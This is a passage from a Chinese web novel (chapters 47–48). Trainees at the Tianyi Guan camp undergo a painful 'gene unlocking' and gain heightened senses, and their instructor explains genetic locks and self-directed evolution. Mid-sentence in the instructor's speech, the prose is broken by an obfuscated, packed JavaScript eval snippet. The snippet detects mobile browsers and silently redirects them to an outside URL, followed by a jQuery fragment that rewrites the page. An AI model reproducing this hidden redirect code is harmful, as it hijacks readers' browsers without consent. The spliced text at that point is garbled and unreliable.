“发呆?”郑落落重复了一下,满眼的茫然,“什么意思?我让你教我怎么烘干衣服,你让我发呆?” 唐镜没有看郑落落,而是看着齐修,他不知道什么时候睁开了眼睛,澄澈的眸子定定看着她,而她的全身,僵硬的像一块木头,仿佛每一个细胞都在自行其是,已经不再听从大脑的指挥。 唐镜不知道该怎么形容现在的状态,意识无比清醒,五感甚至比平时更敏锐。 她能看到齐修眼睫毛上面沾着的细小灰尘,能嗅出羊肉煲香味里的十三种不同的调料气味,能听到不远处的雪地上,一只小虫爬过的声音,能感觉到空气滑过皮肤时,汗毛轻轻的弯折。 这种情形,有点像在入定状态时的感受,不过又和入定不一样。 因为入定的时候,所有的觉察都不是通过眼耳鼻舌身来感知的,而是通过意识的延伸去感知的。 换句话说,意识像一张网,平时笼罩的范围,只在躯体之中,而在入定的时候,意识这张网开始超出身体的范围,向外界扩散,能扩散到多大范围,取决于入定者的修行功力。 唐镜现在的情形,就好像眼耳鼻舌意每一个器官的觉知都被放大了数十倍。偏偏身体却又僵硬的如一块石头,想要抬起一根小指头都做不到。 47. 第 47 章 齐修澄澈的眸子像一汪清潭,唐镜在他的眸子里看到了自己的影子,随后,他的眸子里面,又出现了郑落落的影子。 她用眼角余光看到,身边的郑落落,一动不动的盘坐在蒲团上,脸上表情非常放松,一双大眼睛也像她这样,定定看着齐修。 她也着了道? 现在唐镜和郑落落的情形,倒真的像是在发呆。 难道是齐修对她们催眠了,为什么会这样? 难道那黑白两枚玉指环没有压制住莫纳星人的意识,让他重新控制了齐修的身体?还是说齐修的自我意识苏醒过来了? 不对啊,按照唐镜对那位外星人的了解,那个傲慢的莫纳星人,如果真的苏醒过来,多半会立刻大打出手,绝对不会这般“忍辱负重”,受地球人的折腾。 而且如果外星人灵魂醒过来的话,齐修的眸子怎么会澄澈的一尘不染,应带是幽黑如深渊。 可如果是齐修的自我意识苏醒,那眸子绝对不会像现在这样澄澈,而且他也没必要在这个时候,在这里对她和郑落落催眠。 脑海里转瞬闪过无数念头,唐镜却始终摸不到半点头绪。 虽然她和郑落落失去了对身体的控制,可是因为两人没有任何动作,始终盘坐在蒲团上,所以周围的学员,并没有发现她俩的异样。 只有江夷,在唐镜身体僵硬住的那一瞬间,手里的画笔突然顿了顿,过了片刻,才重新落笔。 因为他背对着唐镜,所以唐镜看不到他脸上的表情,但是由于她突然变得敏锐的五感,她能看到他穿的作战服,后背微微鼓起了零点三毫米。 换句话说,他察觉到了什么,虽然表面不动声色,可是身体里的劲气却开始流转,以至于衣服被劲气所激,微微有点变形。 当然,如果不是她的视力突然变得如此敏锐,也不会发现这么细微的变化。 唐镜心中一凛,越发觉得这个江夷不可小觑,难怪伊峰秋一定要让她和郑落落参加这期的训练营,这训练营的两个教官,在不动声色之间显露出的手段,已经超出了常人的想象。 他们真的是地球人吗? 唐镜现在没时间想太多,因为她的五感突然间从外部世界收了回来,到了另外一个世界。 这个世界,就是她的身体。 她“看到”雪白的骨骼,红色的肌肉、包裹着肌肉的白色筋膜…… 听到血液在毛细血管里流动的声音,心脏的跳动声,胃液从胃壁里分泌出来的声音…… 嗅到了血的味道…… 尝出了唾液里含的酶的味道…… 她意识到细胞的分裂、新生、老化、衰退,新细胞取代了死去的细胞,她甚至能意识到那纠缠在一起,呈双螺旋结构的基因链的存在…… 大脑越来越热,就好像一个正在高速运转的CPU,而唐镜的五感,就好像计算机的接口,正把从身体里面搜集到的海量数据传给CPU。 她真担心下一刻它就会承受不了这种高温而死机。 这个时候,唐镜的大脑,藉由五感,能够洞察到每一个细胞的结构,每一个细胞生老病死的过程,一切纤毫毕现。 这一刻,唐镜有一种错觉,仿佛意识,或者说是灵魂,已经抽离身体,成为身体的旁观者,身体里每一丝每一毫的变化,都逃不过它眼睛。 五感越来越敏锐,大脑越来越热。 忽然,一种无法形容的剧痛袭来,如果不是因为身体不能动弹,唐镜只怕会嚎叫着从地上跳起来。 每一寸皮肤都在不受控制的颤栗,身体由内向外,散发出惊人的高热,汗水从毛孔里涌出,贴身衣服霎那间全部湿透。 就像无数细小,长满尖刺的钢针,同时刺进身体。 下一个瞬间,脑海里浮现出一条文字“痛楚敏感度8”。 什么意思? 唐镜拼尽全力抵御这种难以折磨的痛苦,虽然“看”到了这条文字,却完全无法思考。 前一条文字消失,又浮现出一条新文字“物理防御度3”。 随即,又一条文字出现“感知域潜力9”。 唐镜不明白。 因为她的五感变得无比敏锐,所以痛楚也相应的放大了数十倍,她的呼吸变得越来越短促,空气根本就没有吸进肺里,只是在喉咙间打转。 唐镜有一种感觉,这种痛楚如果继续下去,她的意识就要崩溃了。 也就是说,她可能随时会发疯。 在这种痛苦之下,身体里的每一个细胞都在颤栗,不再听从意识的指挥,无数细小的,带着尖刺的钢针,把身体和意识,都搅到支离破碎。 在即将崩溃的边缘,本来停留在身体内部的五感,突然开始向外部世界延伸。 唐镜又看到了齐修,他不知道什么时候,已经阖上了眼睛,脸上没有任何表情,仿佛重新变成了玉雕。 她看到了郑落落,看到她光洁白皙的脸颊骤然变得血红,随后又惨白如纸,额头上的汗珠大滴大滴滚落到雪地上,融化出一个拳头大小的凹坑。 显然,郑落落现在和她一样,正在经历让人崩溃发疯的痛苦! 其余那二十二个学员虽然还在抵抗着羊肉煲的诱惑,可是有些学员显然察觉到什么,有的人直接肆无忌惮的看向唐镜和郑落落,有的人则用眼角余光偷偷打量着她俩。 在这种让人支离破碎的痛苦面前,食物对饥饿的人的诱惑,又算的了什么呢? 唐镜现在很羡慕他们,如果她还有羡慕的力气的话。 江夷不知道什么时候已经放下了画笔,依旧是面向画案,背朝众人,盘坐在席子上,一动不动,无比安静,可是他后背上的衣服,已经鼓荡起来。 就像鼓满了风的帆。 他发现了什么?他这是准备出手吗? 可是,他又能做什么? 痛楚在身体里继续肆虐,唐镜突然有些庆幸自己无法动弹,否则她不知道自己会做出什么举动。 盘坐在案几后的江夷,突然伸手,拿起插在瓷瓶里的那支梅花,慢慢站起来,转身朝唐镜和郑落落的方向走过来。 江夷走的很慢,很安静,脸上还带着温雅笑意,一边走,一边微低了头,去嗅手里的梅花,长长睫毛垂下,遮住了眸子。 梅花殷红如血,遮住了他的下半边脸,雪白的作战服一尘不染,却衬得他眉睫越发幽黑。 齐修慢慢睁开眼睛,看向越走越近的江夷。 江夷拈着那支梅花,静静站在距离齐修一米远的地方。 两个人一站一坐,一个拈花微笑,雅致温和,一个宁静剔透,红尘不染,看上去仿佛一幅极美的画。 可是不知道为什么,空气仿佛变得越来越粘稠,让人的呼吸都变得困难起来。那些正在忍受饥饿煎熬的学员,下意识的屏住了呼吸,目光各异。 风声、虫鸣声,鸟儿扇动翅膀的声音一一逝去,天地都安静下来。 一朵桃花从枝上慢悠悠飘落,飘向齐修的额头。 明明看到桃花落的极慢,就像电影里的慢镜头,可是不知道为什么,唐镜分明听到尖锐的,如同子弹划破空气时产生的那种声音。 齐修一动不动,两手搭在膝盖上,拇指和中指相扣,结成手印,右手中指上黑白两色的玉指环,散发着莹润的光泽。 那朵桃花在距离齐修额头三厘米的地方,突然以肉眼可见的速度干枯下去,花瓣娇嫩的艳红色褪去,化为齑粉,飘散在雪地上,没了踪迹。 他们已经交手了,他们动手的方式好奇怪,是武侠片还是科幻片? 他们为什么要动手? 唐镜看着眼前的这一幕,迷迷糊糊的想着,却没办法更进一步的思考,也没办法阻止这两个人。 因为此时此刻,她身体里的每一个细胞都被撕裂,揉碎,身体各处不断传输海量数据给大脑,可是那些数据却是凌乱不堪,大脑正在以一种她无法理解的形式处理这些数据,并反馈给身体。 不止是疯狂运转的大脑散发出巨大的热量,就连肌肉和骨骼也开始发烫,身体不受控制的痉挛,皮肤表面散发出的热力,竟然让蒲团周围的积雪开始融化。 身体里面储存的养分被急速的消耗掉,饥饿感如潮水般袭来,甚至盖过了身体里的痛楚。 唐镜的胃像在着火,每一个细胞都在渴望食物。 “基因解锁……”唐镜听到了江夷极低极低的自语声,语气中带着惊疑,如果不是她的五感极其敏锐,远超平时,她一定听不到这句话。 不过,她虽然听到了,也不明白是什么意思。 很显然,齐修也听到了这句话,澄澈的眸子里闪过一丝异样神情,他忽然开口,声音低到正常人听不见:“起初,神创造天地。地是空虚混沌,渊面黑暗;神的灵运行在水面上。神说‘要有光。就有了光’。神看光是好的,就把光暗分开了。神称光为‘昼’,称暗为‘夜’。有晚上,有早晨,这是第一日。” 我听到了这句话,我相信江夷也听到了这句话,因为他脸上的笑容突然凝固了。 这句话好熟悉,我想起来了,这是圣经开篇的第一段话。 也不知道过了多久,江夷脸上的笑容重新恢复正常,他从衣兜里拿出两管类似于牙膏的管状物,往唐镜和郑落落的方向一抛。 唐镜还没反应过来,她的手却一下接住了这管“牙膏”,就好像大脑已经知道它是什么,自行下令给她的手。 郑落落也做出了同样的动作,看她的表情,很显然,这也是她的身体自行其是的结果。 胃里饥饿如着火,即使盖着盖子,可唐镜敏锐的嗅觉,依然闻到了“牙膏”里面的香气,比羊肉煲的味道还要诱人。 好不容易控制住连外壳一起吞下的冲动,唐镜慢慢拧开盖子,盖子里面是透明的金黄色液体,像是粘稠的蜂蜜。 淡淡香味散发出去,她分明听到旁边那些学员咽口水的声音。 唐镜很想慢慢品尝,可是胃里面仿佛突然伸出了一只小手,在她还来不及反应过来之前,整管金黄色的液体吧唧就进了肚子。 胃里面突然变得充实,一股暖流从胃里慢慢扩散开来,唐镜能感觉到,一种热量极高、营养丰富,还有着药物成分的物质,正以惊人的速度被传送到身体各处。 那些支离破碎的细胞在吸收完养分后,开始分化、新生,骨骼变得更加坚固,一条条肌肉纤维也变得更加柔韧。 当金黄色的液体被消耗殆尽的时候,意识又重新找回了对身体的控制权,痛苦开始慢慢消褪。 “为什么她们可以吃东西!”一个喑哑的男声响起,带着戾气和蛮横。 说话的是一个足有一米九高的大块头男人,鼓囊囊的胸肌和上臂,给人一种随时会把训练服撑破的感觉。 很显然,被饥饿折磨的学员,看到唐镜和郑落落受到的“特别待遇”后,开始发难。 要知道,能来参加这期训练营的人,除了本人是极厉害的角色,也有非同一般的背景和来历。 很显然,他们并不怎么服气江夷,因为他实在太温雅太安静,既没有阿虎的豪气,也没有飞鹰的孤傲,更像是个舞文弄墨的书生。 实在让他们很难服气。 更何况,一大早就被拉到这里饿肚子,早就憋了满腔的火,这时候正好借机发难。 江夷看着那大块头微笑道:“训练营的第一信条是什么?” 许是他这种不愠不火的神情,反而让众人有些惴惴不安,所以大家开始沉默起来。 一直沉默。 江夷也不着急,安静的等待着,等的越久,他嘴角的笑容就越温柔…… 终于有人忍不住了,打破了这种让人无比压抑的沉默。 大块头朝地上狠狠吐了口唾沫:“实力!” “不错,你答对了。”江夷拈着那支梅花,含笑走到大块头面前。 大块头比他高了足有半个头,身子也比他宽了三分之一,两个人站在一起的时候,衬的江夷更像个文弱书生。 大块头抱着双臂,居高临下的斜睨着江夷。 “你若是能让这支梅枝落下一片花瓣,就算通过第一课的考验,想吃什么就吃什么。”江夷慢悠悠的说,笑意温雅。 他一边说,一边摇了摇手里的梅枝,就像是在逗弄猫儿。 很显然,大块头被他的这个动作给激怒了,低吼一声,左手成拳,袭向江夷的鼻子,左手成爪,捏向江夷手里的花枝,像是要把花枝揉成碎末。 他块头虽大,可是动作却异常灵活,出手可以用快如闪电来形容。 如果不是唐镜现在的视力比平时敏锐了数倍,可能压根就看不清楚他的动作。她看到,他拳头带起来的风,吹乱了江夷的头发。 大块头动作又快又猛又狠,江夷站在那里,没有躲闪,唐镜 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他的目光扫过那些学员,笑的更加温文尔雅,“想拿谁的脸擦鞋,就拿谁的脸擦鞋。” 唐镜能听到那些学员牙齿缝里面的倒吸凉气声,骤然加快的心跳声,以及汗珠滚落到雪地上的声音。 江夷的目光,最后落在那个站出来又退回去的学员身上,也没见他有什么动作,就把那个学员拎了出来。 那人个子明明比他高,身材也比他壮,可是被他拎在手里,轻松的就像拎一片树叶。 “如果你刚才站出来,没有退回去,那么我顶多踹你一脚,保证不踹断你的骨头。”江夷慢悠悠的说,笑的温文尔雅,“可是你不顾自己的同伴,又退回去了,那么现在,你想被我踹断右腿还是左腿?” 那人看见江夷脸上的笑容,全身突然一颤,张嘴一喷,只见蓝光闪过,几枚牛毛粗细的钢针,泛着幽蓝的光芒,射向江夷的面部。 江夷只是向着飞来的钢针轻轻吹了口气。 只听到那人嚎叫一声,那些射出去的钢针竟然调转方向,全部插在了他自己的脸上! 江夷随手把他往地上一抛,先是砰的一声,雪花和泥土飞溅起来,地上硬生生被砸出了一个坑,与此同时,就听到“咔嚓”一声,他的左腿,直接被摔断,折成了一个奇怪的角度。 可是他却顾不上断腿,只顾着用双手去拔脸上的钢针,嘴里发出杀猪般的嚎叫声。 江夷从衣兜里掏出一块雪白的手帕,一边仔细的擦着拎过那人的手,一边微笑道:“既然你自己不愿意选,我就帮你选择左腿,好不好?放心,我们天一馆是有原则的,绝对不会在训练营里闹出人命的,你们死不了。” 场上变得异常安静,学员们盘坐在蒲团上,有人偷偷看着躺在地上的那两个男人,目光闪烁,有人阖眼似在闭目养神,可是微微颤抖的肩膀,却暴露了他内心的不安。 江夷把手帕仔细叠好,重新放进衣兜里,看着地上的两个男人,笑容温雅:“你们两个,是金三角颂猜送来的吧,怎么,觉得自己有点背景,就可以在这里嚣张了?” 大块头还捂着小腹,如一滩烂泥蜷缩在那里,而他的同伴,呻吟着拔下脸上的钢针,一只手在衣兜里摸出一颗药丸,塞进了嘴里。 他还来不及理会他的断腿。 唐镜猜想,那钢针上一定淬了毒,金三角那面是热带雨林,据说有很多奇奇怪怪的毒物,还有善于摆弄毒物,有些异术的奇人,他们称这些人为降头师。 像刚才这个人,他把淬毒的钢针藏在嘴里,确实让人防不胜防。 可是很显然,这招对江夷无效。 唐镜觉得天一馆越来越像一个谜团了,不管是阿虎、飞鹰还是江夷,他们表现出来的身手,已经超出了她能理解的范畴。 刚才江夷那声“基因解锁”在脑海里不断回响,这句话,到底是什么意思? 就在唐镜思索的时候,突然惊觉身体里的痛楚不知道何时,已经彻底消失,整个人变得无比轻松,与此同时,她发现自己五感依然保持着一种远超常人的敏锐度。 大脑和身体似乎起了一些变化,她却还不能明白变化在哪里。 就在这时候,唐镜看到江夷对自己微微一笑,随即他脚尖在地上一点一挑,一块鸽子蛋大小的雪团朝她额头上飞过来。 唐镜能看到被脚尖挤压过的雪团,紧实的像块石头,能听到,雪团和空气摩擦时发出的尖利嘶嘶声,甚至大脑在瞬间浮现出了“270m/3”这个数字。 这是什么概念? 子弹的速度通常在音速上下,也就是在340m/s上下,好的子弹能达到400m/s,也有为□□研制的亚音速子弹,速度大约为230m/s。 也就是,这颗鸽子蛋大小的雪团,就如一颗射向她的子弹。 人类怎么可能踢出这种速度的雪团? 而她又怎么可能避开这块雪团? 电光火石一瞬间,就在唐镜的脑海里浮现出这些想法的同时,我识深处已经发出了一个讯号,上百个数据瞬间传送到身体各处,身体带着蒲团,诡异的侧移了十公分。 雪团在距离她鬓角0.5厘米的地方尖啸而过,带起的风刮得脸颊隐隐生痛。 “啪”的一声,雪团撞在了身后不远处的树干上,树枝不断晃动,积在树叶上的雪纷纷落下。 唐镜缓缓侧头看去,只见那雪团的形状都没什么改变,直接嵌进了树干。 训练营其余的学员纷纷把目光投向她,眼中带着惊疑、羡慕、畏惧、不忿、嫉恨……等等各种复杂的目光。 郑落落也在看着唐镜,若有所思却又带着点茫然,还有一点点惧怕,唐镜看的出来,那不是对她刚才举动的惧怕,而是对她自己的惧怕。 她的身体一定也像唐镜一样,起了她不能理解的变化! 齐修不知道什么时候,已经半垂下了头,双眼紧闭,脸色惨白,没有半分血色,很显然,他已经失去了意识,只是不知道为什么,还能保持着盘坐的姿势。 “刚才他精气神损耗太过,心神即将崩溃,身体自动进入深度入定状态,好慢慢修复身心。”江夷柔声说道。 唐镜看着江夷,毫不掩饰眼中的疑问。 说句实在话,发生在身体里的变化,让她害怕。 48. 第 48 章 江夷似是看穿了唐镜的心事,微笑道:“等这节课结束,也许你的一些疑问,就能够得到答案。” 说完后,他不再理会众人,转身朝远处招了招手,上来了两个穿着迷彩作战服的年轻人,手里提着药箱。 其中一个年轻人给大块头嘴里塞了颗胶囊。 很快,瘫在地上如烂泥般的大块头发出嘶哑的呻吟声,被年轻人抓着衣领,拎到他刚才坐着的蒲团上。 大块头勉强在蒲团上坐住,捂着小腹蜷在那里,垂头丧气,就如斗败了的公鸡。 另外一个年轻人直接撕开断腿男人的裤子,只见骨折的地方一片青紫,高高肿起,甚至能看到,有一截惨白的骨渣,直接刺穿皮肤露了出来。 年轻人先是拿药膏把青肿的地方涂抹了一遍,随后又拿出一副精巧的夹板,固定好断骨,最后他拿出一罐喷剂,绕着夹板喷了一层厚厚的白色泡沫。 白色泡沫遇到空气后迅速凝固,就如把断腿和夹板一起打上了石膏。 处理完断腿男人之后,年轻人也把他拎回到他的蒲团上。 两个年轻人处理伤员的手法都非常娴熟,一副轻车熟路的样子,显然,这对他们来说是家常便饭。 这让唐镜忍不住猜测,难道在这训练营里,受伤已经如家常便饭般寻常? 课程继续进行,江夷重新盘坐在席子上,背对众人,拿着毛笔,有开始做画。学员们各自安坐在蒲团上,低眉垂目,显得异常安静。 唐镜和郑落落交换了一下目光,都从对方眼中看到了无数疑问,以及,一丝茫然和惧怕。 伊峰秋说过的话浮现在唐镜脑海里“只要你们两个能完全激发出身体的潜能,也许就能明白和幻境里那两个女人的关系”。 这才刚刚进入训练营,唐镜和郑落落的身体,就发生了不可思议的变化,而这变化,究竟只是齐修引发的,还是跟训练营也有关系? 唐镜想到飞鹰给她们出的那道题目,让三个人去爬那几乎不可能爬上去的山崖,置身在绝境之中。 齐修拼尽全力,把她和郑落落送到山崖上,在那生死一线间的时候,他的身体和意识,会不会被激发出了什么状况? 唐镜不由自主看向齐修,他脸上肌肤白到有一种半透明的感觉,失去了血色的嘴唇是淡淡的粉色,盘坐在那里,一动不动,就像一座冰雕。 只有那极慢极慢的心跳声,表明他还活着。 唐镜和齐修,明明隔着一米远的距离,可是她却能听到他的心跳声,不止是他的,还包括其余学员的心跳声、呼吸声。 只要她想去听,就能听到。 唐镜闭上眼睛,随着心意,脑海中自动出现信息“基因解锁,获得一个进化点,自动分配,感知域提高0.1倍”。 唐镜的大脑,好像自动就能领会这个信息的意思,她的身体开始进化,所谓感知域,应该就是指眼耳鼻舌身意,也就是说视力、听力、嗅觉、味觉、触觉的敏锐度,比以前提高了0.1倍。 只不过,基因解锁,唐镜还是不明白,到底是什么意思? …… 时间一分一秒的流逝,天光亮了又暗,暗了又亮,羊肉的香气越发浓郁,而山谷的寒意也越发的浓重。 唐镜已经完全沉浸在自己的世界里,对外部世界的一切,处于一种听而不闻,视而不见的状态。 当然,她的肠胃还是会因为饥饿鸣叫,口腔因为肉香味而分泌唾液,身体也会因为寒冷而颤栗,可是大脑,却不被身体的感受而困扰,就像是一个旁观者,静静观察着身体的变化,却不会为这变化产生波动。 她并没有对抗身体的反应,只是静静感受,并不为所动。 身体的各种冲动,各种念头,就像是在铁轨上来来去去的列车,而她自己,就像是站在车站中央的空地,只看着列车来去,却不会上车。 …… 第七天早上,这节名为“诱惑”的课程终于结束了。 参加课程的学员,算上唐镜、郑落落和齐修三个,一共二十五名。 其中,有十一名学员在抵抗不住诱惑的关头,自己把自己给敲晕过去了,还有五名学员是让同伴动手,打晕了自己,两名学员吃了羊肉煲。 除了唐镜、郑落落和齐修,还有四名学员一直清醒的抵抗住了食物的诱惑。 出乎唐镜的意料,那个大块头和断腿男人,居然也通过了这节课。 只是她在不经意中发现,大块头偶然看向江夷的目光,带着一丝怨毒。 齐修则一直像冰雕般盘坐,只是呼吸和心跳渐渐没那么缓慢了,看来身体修复的不错。 唐镜和郑落落一方面是身体的变化,另外一方面,也许是因为江夷给她们吃的那管东西,所以一直清醒的熬到了课程结束。 没有通过的两名学员,在抵抗不住诱惑,吃了喷香的羊肉煲后,就被训练营的工作人员带走。 最后,雪地里,还有二十三名学员。 这样的通过率,唐镜倒并不意外,能来这里参加训练营的人,都不是寻常人,如果连第一关都熬不过去,那也不配被送来。 每人面前放着一个精美的檀木托盘,上面放着一碗热气腾腾的羊肉煲,还有一管类似于牙膏的管状物,就是江夷给她们吃的那管东西。 这时候,唐镜才知道,这管色泽如蜂蜜,却比蜂蜜好吃数倍的东西,叫“金风玉露膏”,是天一馆独家特制的营养素,能从分子层面上修复细胞,给细胞提供能量。 金风玉露膏,好风雅的名字。 唐镜端着羊肉煲,小口小口喝着,温暖喷香的羊肉煲,进入身体后,四肢百骸都变得暖洋洋的。 这些年来,她喝过很多羊肉煲,可是当喝下江夷煮的羊肉煲后,才发现,以前喝的那不叫羊肉煲,只能叫放了羊肉的刷锅水。 虽然又冷又饿,可是所有人都一小口一小口的喝着羊肉煲,没有人舍得大口喝下去,因为潜意识中,都想把这个过程无限的延长。 如果太快喝完,以后再也喝不到这么好喝的羊肉煲怎么办? “我想,以后,别的羊肉煲,我连看都不想看一眼,更别说喝了。”郑落落喃喃自语。 唐镜心有戚戚焉。 羊肉和一管金风玉露膏下肚后,饥饿和寒冷顿时不翼而飞。 身体从内到外,都散发着热力,唐镜感觉到,后背已经开始出汗,身上衣服有些太厚了点。 有几个学员,直接脱了训练服外套,只穿着件短袖紧身训练T恤。 江夷从书案后缓缓站起来,笑意温雅:“在极度的饥饿寒冷中,抵抗食物的诱惑,在濒死状态中,激发出身体的潜能,只有这样的人,才有资格踏上进化之路。” 他顿了顿,目光在众人身上一一扫过,这才继续说道:“恭喜你们,解开基因锁,走上自我进化之路……” 解开基因锁? 什么意思? 众人面面相觑,都看到彼此眼中的茫然。 显然,这样的反应也在江夷的意料之中,他开始缓缓讲述,从基因开始,解释什么是基因锁。 什么是基因? 基因是具有遗传效应的DNA片段,支持着生命的基本构造和性能,储存着生命的种族、血型、孕育、生长、凋亡过程的全部信息。 换句话说,生命的生、长、衰、病、老、死都等一切现象都被基因决定。 假如人是一台高级智能计算机,那么基因就相当于让计算机,按照既定规则运行的代码。 什么是进化? 物种、生命体或者器官形态从原始到现代、从简单到特化的发展。 当年,有一部分猿猴为了适应生存环境的变化,从树上走到地上,上百万年过去了,猿猴进化成了猿人。 又过了数十万年,猿人进化成了智人,最终智人又进化成了真正的人。 初中生物就学过了基因和进化的相关知识,可是,听到这里,唐镜依然不明白基因锁是什么意思。 有的学员眼中浮现出疑惑之色,而有的学员则非常平静,也不知道是不是早就明白了什么。 “我们现在可以把火箭送上天,可以隔着万里之遥进行视频通话,可以用羊身上的一个细胞,克隆出一模一样的一只羊出来,我们人类发明了这么多了不起的工具。但是,我们的身体,我们灵魂的住所,与生俱来的这个工具,却还是如此原始。” 江夷一边说,一边看向那个断了腿的学员,目光停留在他骨折的地方。 “我们的身体,是如此脆弱,脆弱到一个小小的钢针,就能夺取一个人的生命。为什么我们的身体,没有进化的更强悍?更敏捷?为什么我们的眼睛不能看的更远,更微小,耳朵不能听到更多频率的声音?” 真的不可以吗? 唐镜忽然想到在马场上,阿虎比奔马更快的速度,想到在那陡峭的崖壁上,飞鹰比猿猴还要灵活的动作,以及,刚才江夷那不可思议的身手。 他们的所做所为,完全超出了正常人类能够达到的极限。 “几百万年过去了,我们人类站在了食物链的顶端,我们成了地球的主人,我们甚至开始了星辰大海的征途,可是,我们的身体,却还是那么原始,那么不堪一击,无法摆脱疾病、衰老和死亡。” “听说修佛有成的人,会有神通,比如说开了天眼,就能看到极远和极微小的事物。”郑落落忍不住说道。 江夷微微一笑:“不止是佛教,道家也有修真之术,都是想通过一定的方法,来开发身体这个工具的潜力。” 这个说法倒是挺新鲜的。 唐镜记得以前看过一篇资料,说是人脑其实还有百分之九十的潜力没有被开发,而像爱因斯坦这样的天才,也不过是大脑比普通人多开发了百分之五而已。 这就好像电脑硬盘,存储了1000G容量的信息,可是我们只使用了10个G容量的信息,其余那些信息始终处于沉睡状态。 “人类的身体之所以不再继续进化,是因为,”江夷顿了顿,在齐修身上停留了一下,这才继续说道,“我们的基因被一种神秘的力量给锁住了,无法继续进化下去。” 也许是因为唐镜经历了自己身体变化的缘故,所以当他说到这里的时候,她好像突然明白了些什么。 如果把生命比作一台智能计算机,生命的进化,就类似于软件系统和硬件系统的升级。 从单细胞到多细胞,是一次生命软硬件系统的升级。 从多细胞到初级植物和初级动物生命,又是一次生命软硬件系统的升级。 …… 从猿猴到人,是最重要、最不可思议的一次生命软硬件系统的升级。 可是到目前为止,几十万年过去了,生命的软件操作系统一直在进化,人类的认知水平、文明程度、科技水平都在不断突破。 可是,与此同时,生命的硬件操作系统,却没有质的突破,人类只是寿命更长,类似于给系统打了个补丁,可是身体,却还是如此脆弱,甚至有时候,只不过一个小小的感冒病毒,就会失去生命。 按照江夷的说法,是因为在人类从猿人进化到智人,这一个关键时期,基因被强行锁住,让人无法在进化中,修改生命运行的底层代码。 生命的硬件系统,从此再也没有办法升级到更高的层次,所以,人类的身体几十万年如一日的,始终停留在这种原始脆弱的状态中。 其实,不止是人类的身体停止了系统,整个地球上的物种,都已经停止了进化。 鱼在海里游,鸟在天空飞,野兽在大地上奔跑。 再没有新的物种进化出来! “基因被锁住之后,就无法改写里面贮存的DNA信息。”江夷说到这里,慢慢伸出右手,他的手指修长,骨节分明,莹白如雪,就如一幅画,“想象一下,这只可以写字、画画、玩游戏的手,曾经是由猿猴那只长满了毛的爪子进化来的。” 猿猴的爪子,可以在树林里灵活的攀援,可是人类的手,却能在一根发丝上雕刻出山水画。 “而这样的变化,只是因为改写了DNA里面的一点遗传信息而已,生命真是奇妙。”江夷轻轻动了动手指。 片片雪花从地上慢慢漂浮起来,聚集在他的掌心上,不断旋转,凝结成一朵晶莹剔透的莲花。 “一沙一世界,一花一天堂,双手握无限,刹那是永恒。”随着江夷低柔的话语声,莲花在他的掌心又慢慢散为飞舞的雪花。 雪花重新落回到地面,和地上的积雪融为一体。 如梦如幻。 “基因决定一切,当我们解开基因锁之后,就可以凭借自身的意念,重新改写DNA代码,无数基因片段互相作用,互相汇合,开始变异、重组,最终形成一个稳定与全新的基因组。” 江夷的右手慢慢抬高,手心上方出现一团白色的雾气,雾气凝结成水滴,水滴变成雪花,雪花在掌心旋转,凝结成一朵晶莹剔透的冰花。 和刚才的那朵冰花一模一样。 “成千上万年的时间,猿的爪子才进化成人的手,可是当我们解开基因锁之后,我们就加快了进化的过程,因为,这次的进化,是我们主动选择,而不是在生存的压力下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234676|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被迫演化。” 冰花重新化为雪花,雪花散为一团白色雾气,渐渐消散在空气里。 江夷声音低柔,语气平静,可是他说出的这些话,却仿佛晴空一个霹雳,震得唐镜大脑嗡嗡作响。 场上一片静默,唐镜的心仿佛停止了跳动,只呆呆看着江夷那伸出的手,那手分明和常人没有什么不同,可是却展现出了超乎常人的一幕。 这不是变魔术。 “基因解锁的过程很痛苦,因为基因中的代码,要粉碎重组,要打碎束缚它们的枷锁,有人在这个过程中发疯,也有人忍受不下去这种痛苦,索性选择自杀。” 江夷说到这里,有意无意看了唐镜和郑落落一眼。 唐镜明白那种生不如死的痛苦,如果不是因为自己不能动弹,她真有可能忍受不住,选择一死了之。 江夷的话解决了唐镜的一些疑问,却让她有了更多的疑惑。 是什么力量锁住了人类进化的基因?又是什么人,发现了这个秘密?谁第一个解开了锁住的基因?现在又有多少人解开了基因锁? 唐镜想起伊峰秋和齐修在客卧交手的那一幕,那远远超出格斗高手的贴身近搏,当时她还以为是自己学艺不精,练了十几年武术,却连他们的一根手指头都比不上。 现在她明白了,伊峰秋和齐修,一定是解开了基因锁,所以才会有那样不可思议的身手。 伊峰秋接了正一门长辈的电话后,按照长辈的安排,送她们三个人来到天一馆,参加训练营,显然,是为了让三人解开基因锁。 他当时接电话的时候,那么生气,是不是因为他知道,基因解锁的过程,有多痛苦,他不想让她经受这么痛苦的煎熬? 可是他最终送三个人来这里,是不是也因为,这是她们三个人,命中注定必须要过的一关? 天一馆到底是什么来历? 阿虎、飞鹰和江夷到底是什么人? 很显然,他们三个都解开了基因锁,所以他们才会有那样超乎常人的身手。 而能参加这期基础训练营的学员,只怕来历也不会像他们表面上的身份那么简单。 大脑中无数疑团此起彼伏,而唐镜注意到周围学员,神情各异,有的稍带茫然,有的则明显兴奋起来,也有的人异常平静。 很显然,江夷提到的基因锁和进化,对他们也是极大的冲击,那些异常平静的学员,不知道是早就知道了,还是说心理素质强大到逆天,面对这样不可思议的信息,也可以冷静如常。 江夷:“我们这一期的基础训练营,最重要的一个目的,就是帮助你们解开基因锁,然后找出你们最擅长的能力域,进行相应能力域的训练。” 能力域? 唐镜想起刚才脑海里浮现出的那条信息,“……感知域提高0.1倍”,能力域是什么?感知域又是什么? “基因解锁是一道门槛,迈过去,就能走上自我进化之路,成为‘神人’,迈不过去,就只能做一个普通人,受困于身体的脆弱和疾病。” 神人? 原来这就是所谓的神人啊。 江夷继续说道:“濒死状态,就是让人体进入一个极端环境,在这种情况下,要么死,要么生,它不仅激发生命的潜能,更能考验人的心志。” 这期训练营,加上唐镜、郑落落和齐修,一共二十五名学员,只有两名学员最终熬不过饥饿的煎熬,选择了食物,离开了训练营。 